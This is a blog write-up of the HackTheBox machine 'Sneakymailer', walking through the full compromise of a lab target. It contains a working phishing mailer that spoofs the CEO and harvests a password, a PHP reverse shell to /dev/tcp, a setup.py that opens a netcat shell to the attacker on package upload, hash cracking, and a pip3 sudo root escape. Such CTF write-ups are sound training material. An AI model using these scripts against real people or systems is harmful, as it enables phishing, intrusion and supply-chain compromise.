Ajdin's blog Tags Github RSS

HackTheBox Sneakymailer Write Up w/o Metasploit

6 Oct 2020

This is a medium box from sulcud. First we have to phish users and get creds, find another creds from a SMTP server and get into FTP. Then we find out we can upload a file and we can get RCE with it. We get in as www-data, and find a hash for pypiserver. We upload a evil server.py and get user.txt. We can run pip3 as sudo. we simply break out of pip3 and get a shell as root.

Recon

Nmap scan

First scan for open ports.

$ nmap -p- --min-rate=1000 -T4 10.10.10.197
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 10:43 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 40.21% done; ETC: 10:44 (0:00:09 remaining)
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.047s latency).
Not shown: 65528 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
143/tcp  open  imap
993/tcp  open  imaps
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 13.74 seconds

Web page redirects to sneakycorp.htb so we put it in /etc/hosts.

I got some more info from the open ports with nmap.

$ sudo nmap -p21,22,25,80,143,993,8080 -sC -sV -O -oA nmap/scan sneakycorp.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-05 10:44 EDT
Nmap scan report for sneakycorp.htb (10.10.10.197)
Host is up (0.060s latency).

PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 57:c9:00:35:36:56:e6:6f:f6:de:86:40:b2:ee:3e:fd (RSA)
|   256 d8:21:23:28:1d:b8:30:46:e2:67:2d:59:65:f0:0a:05 (ECDSA)
|_  256 5e:4f:23:4e:d4:90:8e:e9:5e:89:74:b3:19:0c:fc:1a (ED25519)
25/tcp   open  smtp     Postfix smtpd
|_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING, 
80/tcp   open  http     nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Employee - Dashboard
143/tcp  open  imap     Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION UIDPLUS NAMESPACE THREAD=ORDEREDSUBJECT QUOTA IMAP4rev1 SORT completed ENABLE ACL THREAD=REFERENCES CAPABILITY OK UTF8=ACCEPTA0001 IDLE STARTTLS CHILDREN
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
993/tcp  open  ssl/imap Courier Imapd (released 2018)
|_imap-capabilities: ACL2=UNION UIDPLUS NAMESPACE THREAD=ORDEREDSUBJECT QUOTA IMAP4rev1 SORT completed ENABLE ACL THREAD=REFERENCES CAPABILITY OK AUTH=PLAIN IDLE UTF8=ACCEPTA0001 CHILDREN
| ssl-cert: Subject: commonName=localhost/organizationName=Courier Mail Server/stateOrProvinceName=NY/countryName=US
| Subject Alternative Name: email:postmaster@example.com
| Not valid before: 2020-05-14T17:14:21
|_Not valid after:  2021-05-14T17:14:21
|_ssl-date: TLS randomness does not represent time
8080/tcp open  http     nginx 1.14.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
|_http-title: Welcome to nginx!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.1 - 3.2 (92%), Linux 3.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.5 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.66 seconds

Port 80 enumeration

We can open the page and we can see 2 pages, /index.php and /team.php.

index.php

team.php

For directory busting I used Gobuster.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u sneakycorp.htb -x php,txt -t 200
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb
[+] Threads:        200
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/10/05 10:16:48 Starting gobuster
===============================================================
/img (Status: 301)
/index.php (Status: 200)
/css (Status: 301)
/team.php (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/pypi (Status: 301)
===============================================================
2020/10/05 10:20:53 Finished
===============================================================

The only thing interesting here is /pypi and /vendor, I ran Gobuster on both paths but /vendor didn’t have anything interesting. Below is a scan for /pypi.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u sneakycorp.htb/pypi/ -x php,txt -t 200
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://sneakycorp.htb/pypi/
[+] Threads:        200
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt
[+] Timeout:        10s
===============================================================
2020/10/05 10:22:20 Starting gobuster
===============================================================
/register.php (Status: 200)
===============================================================
2020/10/05 10:26:04 Finished
===============================================================

register.php

I checked all the traffic with Burp and figured this must be a dummy page because no matter what input I give the response is always the same.

FTP anonymous login

I tried getting into FTP as anonymous but It didn’t work.

Email phishing

Creating a Python script to send emails

So on /team.php we had a lot of mails. I used CyberChef to extract all emails.

email.txt

tigernixon@sneakymailer.htb
garrettwinters@sneakymailer.htb
ashtoncox@sneakymailer.htb
cedrickelly@sneakymailer.htb
airisatou@sneakymailer.htb
briellewilliamson@sneakymailer.htb
herrodchandler@sneakymailer.htb
rhonadavidson@sneakymailer.htb
colleenhurst@sneakymailer.htb
sonyafrost@sneakymailer.htb
jenagaines@sneakymailer.htb
quinnflynn@sneakymailer.htb
chardemarshall@sneakymailer.htb
haleykennedy@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
michaelsilva@sneakymailer.htb
paulbyrd@sneakymailer.htb
glorialittle@sneakymailer.htb
bradleygreer@sneakymailer.htb
dairios@sneakymailer.htb
jenettecaldwell@sneakymailer.htb
yuriberry@sneakymailer.htb
caesarvance@sneakymailer.htb
doriswilder@sneakymailer.htb
angelicaramos@sneakymailer.htb
gavinjoyce@sneakymailer.htb
jenniferchang@sneakymailer.htb
brendenwagner@sneakymailer.htb
fionagreen@sneakymailer.htb
shouitou@sneakymailer.htb
michellehouse@sneakymailer.htb
sukiburks@sneakymailer.htb
prescottbartlett@sneakymailer.htb
gavincortez@sneakymailer.htb
martenamccray@sneakymailer.htb
unitybutler@sneakymailer.htb
howardhatfield@sneakymailer.htb
hopefuentes@sneakymailer.htb
vivianharrell@sneakymailer.htb
timothymooney@sneakymailer.htb
jacksonbradshaw@sneakymailer.htb
olivialiang@sneakymailer.htb
brunonash@sneakymailer.htb
sakurayamamoto@sneakymailer.htb
thorwalton@sneakymailer.htb
finncamacho@sneakymailer.htb
sergebaldwin@sneakymailer.htb
zenaidafrank@sneakymailer.htb
zoritaserrano@sneakymailer.htb
jenniferacosta@sneakymailer.htb
carastevens@sneakymailer.htb
hermionebutler@sneakymailer.htb
laelgreer@sneakymailer.htb
jonasalexander@sneakymailer.htb
shaddecker@sneakymailer.htb
sulcud@sneakymailer.htb
donnasnider@sneakymailer.htb

I created a simple Python script to send emails and started a Python SMTP server so I can be sure the output is correct.

email_sender.py

#!/usr/bin/python3

import smtplib
#SERVER = "localhost"

FROM = 'ajdin@psneakycorp.htb'

TO = ["someone@sneakycorp.htb"] # must be a list

SUBJECT = "test subject"

TEXT = "test message"

# Prepare actual message

message = """\
From: %s
To: %s
Subject: %s

%s
""" % (FROM, ", ".join(TO), SUBJECT, TEXT)

# Send the mail

server = smtplib.SMTP('localhost')
server.sendmail(FROM, TO, message)
server.quit()

If we run email_sender.py we can get the email being sent in our local SMTP server.

$ sudo python -m smtpd -c DebuggingServer -n localhost:25
[sudo] password for kali: 
---------- MESSAGE FOLLOWS ----------
From: ajdin@psneakycorp.htb
To: someone@sneakycorp.htb
Subject: test subject
X-Peer: 127.0.0.1

test message
------------ END MESSAGE ------------

So I modified the script to send an email from the CEO and email message contains a link which is on my local machine running a nclistener.

#!/usr/bin/python3

import smtplib

FROM = 'angelicaramos@sneakymailer.htb'

emails = open('email.txt', 'r')
Lines = emails.readlines()
for line in Lines:
    TO = []
    print(line.strip())
    TO.append(line.strip())
    SUBJECT = "Urgent, please help"
    TEXT = "Hi, this is an emergency, could you please open this and resolve the issue? http://10.10.16.3:9999/help/"

    message = """\
    From: %s
    To: %s
    Subject: %s
    
    %s
    """ % (FROM, ", ".join(TO), SUBJECT, TEXT)

    server = smtplib.SMTP('sneakycorp.htb')
    server.sendmail(FROM, TO, message)
    server.quit()

On our nc listener we get a request, someone opened the link provided.

$ nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.197] 47864
POST /help/ HTTP/1.1
Host: 10.10.16.3:9999
User-Agent: python-requests/2.23.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 185
Content-Type: application/x-www-form-urlencoded

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

I decoded it:

firstName: Paul
lastName: Byrd
email: paulbyrd%40sneakymailer.htb
password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

IMAP

We got some creds but I still couldn’t login into FTP. I tried to get into IMAP server on port 143, there might be some emails.

$ nc sneakycorp.htb 143
* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, Inc.  See COPYING for distribution information.
01 LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
* OK [ALERT] Filesystem notification initialization error -- contact your mail administrator (check for configuration errors with the FAM/Gamin library)
01 OK LOGIN Ok.

So we’re in, let’s try to see if anything is there.

02 LIST "" "*"
* LIST (\Unmarked \HasChildren) "." "INBOX"
* LIST (\HasNoChildren) "." "INBOX.Trash"
* LIST (\HasNoChildren) "." "INBOX.Sent"
* LIST (\HasNoChildren) "." "INBOX.Deleted Items"
* LIST (\HasNoChildren) "." "INBOX.Sent Items"
03 SELECT "Inbox.Trash"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 590600304] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
03 OK [READ-WRITE] Ok
04 SELECT "Inbox.Sent"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 590600538] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
04 OK [READ-WRITE] Ok
05 SELECT "Inbox.Deleted Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 0 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589481592] Ok
* OK [MYRIGHTS "acdilrsw"] ACL
05 OK [READ-WRITE] Ok
06 SELECT "Inbox.Sent Items"
* FLAGS (\Draft \Answered \Flagged \Deleted \Seen \Recent)
* OK [PERMANENTFLAGS (\* \Draft \Answered \Flagged \Deleted \Seen)] Limited
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 589480766] Ok
* OK [MYRIGHTS "acdilrsw"] ACL

We have 2 emails in “Inbox/Sent Items”, let’s open them. (I removed some unneccesary text)

Email 1

02 FETCH 1 BODY[]
* 1 FETCH (BODY[] {2167}
MIME-Version: 1.0
To: root <root@debian>
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Password reset
Date: Fri, 15 May 2020 13:03:37 -0500
[...]
Hello administrator, I want to change this password for the developer accou=
nt

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it=20
[...]

Email 2

* 2 FETCH (BODY[] {585}
To: low@debian
From: Paul Byrd <paulbyrd@sneakymailer.htb>
Subject: Module testing
Message-ID: <4d08007d-3f7e-95ee-858a-40c6e04581bb@sneakymailer.htb>
Date: Wed, 27 May 2020 13:28:58 -0400
[...]

Hello low


Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

02 OK FETCH completed.

Email creds from first email

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Now I was finally able to enter the FTP.

FTP LFI (Local file inclusion)

kali@kali:~/htb/sneakymailer$ ftp sneakycorp.htb
Connected to sneakycorp.htb.
220 (vsFTPd 3.0.3)
Name (sneakycorp.htb:kali): developer
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

once I entered I saw a direcory called dev which contained site content. I looked around and found nothing in the site source code which could be of any help. I tried uploading a file and it worked, but I couldn’t navigate to the file.

ftp> pu hello.txt
local: hello.txt remote: hello.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
3 bytes sent in 0.00 secs (34.4669 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 May 26 19:52 css
--wxrw-rw-    1 1001     1001            3 Oct 05 13:23 hello.txt
drwxr-xr-x    2 0        0            4096 May 26 19:52 img
-rwxr-xr-x    1 0        0           13742 Jun 23 09:44 index.php
drwxr-xr-x    3 0        0            4096 May 26 19:52 js
drwxr-xr-x    2 0        0            4096 May 26 19:52 pypi
drwxr-xr-x    4 0        0            4096 May 26 19:52 scss
-rwxr-xr-x    1 0        0           26523 May 26 20:58 team.php
drwxr-xr-x    8 0        0            4096 May 26 19:52 vendor
226 Directory send OK.

And I thought, maybe the dev direcory is hidden/deployed on another host. I ran ffuf to find another Virtual host.

I curled a random subdomain so I could see how the request looks like when I hit a subdomain that doesn’t exist.

$ curl -H 'Host: randomsubdomain.sneakycorp.htb' http://sneakycorp.htb
<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx/1.14.2</center>
</body>
</html>

I extracted the length from that response.

$ curl -H 'Host: randomsubdomain.sneakycorp.htb' http://sneakycorp.htb | wc -c
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   185  100   185    0     0   1033      0 --:--:-- --:--:-- --:--:--  1039
185

So let’s run now ffuf and try to get a response that doesn’t match length of 185.

$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://sneakycorp.htb -H "Host: FUZZ.sneakycorp.htb" -fs 185 -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.0.2
________________________________________________

 :: Method           : GET
 :: URL              : http://sneakycorp.htb
 :: Header           : Host: FUZZ.sneakycorp.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Response size: 185
________________________________________________

dev                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]
Dev                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]
DEV                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]
:: Progress: [220560/220560] :: Job [1/1] :: 1736 req/sec :: Duration: [0:02:07] :: Errors: 0 ::

LFI to RCE

So, there is another subdomain. I tried to curl the site with

curl -H 'Host: dev.sneakycorp.htb' http://sneakycorp.htb/

and got the index.php file. I uploaded a simple file with following contents:

<?php echo '<p>Hello World</p>'; ?>

and I got the following response:

$ curl -H 'Host: dev.sneakycorp.htb' http://sneakycorp.htb/hello.php
<p>Hello World</p>

So LFI to RCE, good let’s try to get a reverse shell. I made a new file called reverse.php and started nc -lvnp 9999

Reverse.php

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.16.3/9999 0>&1'");

after curling the file I got a shell as www-data.

PrivEsc to user low

I transfered linenum.sh and ran it. It found this hash on the machine:

/var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

I simply cracked it with John.

kali@kali:~/htb/sneakymailer$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
soufianeelhaoui  (pypi)
1g 0:00:00:31 DONE (2020-10-05 14:01) 0.03128g/s 111835p/s 111835c/s 111835C/s souheib2..souderton16
Use the "--show" option to display all of the cracked passwords reliably
Session completed

The password is soufianeelhaoui, but I had no idea where to use it. I remembered the nmap scan and port 8080 which we didn’t get any information from and that email:

Hello low

Your current task is to install, test and then erase every python module you 
find in our PyPI service, let me know if you have any inconvenience.

So I found a server on 8080. This could be also done with ffuf.

Uploading an evil package to pypiserver

What is pypiserver?

pypiserver is a minimal PyPI compatible server for pip or easy_install. It is based on bottle and serves packages from regular directories. Wheels, bdists, eggs and accompanying PGP-signatures can be uploaded either with pip, setuptools, twine, pypi-uploader, or simply copied with scp.

More info about pypi can be found here. I tried using twine but I was missing a package to send, so I went back read again the linked article on pypiserver.

What is server.py?

setup.py is the build script for setuptools. It tells setuptools about your package (such as the name and version) as well as which code files to include.

I made a direcory pypi with some example files I found online.

$ tree
.
├── dist
│   └── example-pkg-YOUR-USERNAME-HERE-0.0.1.tar.gz
├── example_pkg_YOUR_USERNAME_HERE.egg-info
│   ├── dependency_links.txt
│   ├── PKG-INFO
│   ├── SOURCES.txt
│   └── top_level.txt
├── README.md
└── setup.py

I made .pypirc config file in my home direcory with following contents.

[distutils]
index-servers = 
  sneakycorp

[sneakycorp]
repository=http://pypi.sneakycorp.htb:8080/
username=pypi
password=soufianeelhaoui

Now I could upload this with python3 setup.py sdist upload -r sneakycorp. So I made some changes inside setup.py to get a shell.

#!/usr/bin/python3
import setuptools
import os

ip1 = os.system('nc -e /bin/sh 10.10.16.3 9998')

with open("README.md", "r") as fh:
    long_description = fh.read()

setuptools.setup(
    name="example-pkg-YOUR-USERNAME-HERE", # Replace with your own username
    version="0.0.1",
    author="Example Author",
    author_email="author@example.com",
    description="A small example package",
    long_description=long_description,
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    packages=setuptools.find_packages(),
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    python_requires='>=3.6',
)

I started a nc listener but I got a reverse shell by my own local machine? Well I could have added checks to disable that and only get a shell as user not named kali.

[...]
import getpass
username = getpass.getuser()
if username != 'kali':
    ip1 = os.system('nc -e /bin/sh 10.10.16.3 9998')
[...]

Now when I executed the upload I got as shell as low and flag user.txt.

PrivEsc to root

I transfered linenum.sh and ran it. I saw that user low can execute pip3 with sudo permissions.

Exploiting pip3

[+] We can sudo without supplying a password!
Matching Defaults entries for low on sneakymailer:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User low may run the following commands on sneakymailer:
    (root) NOPASSWD: /usr/bin/pip3

I went on GTFOBins and found a shell for that.

I simply ran this and got root.

$ TF=$(mktemp -d)
$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
$ sudo /usr/bin/pip3 install $TF

Now I got shell as root and root.txt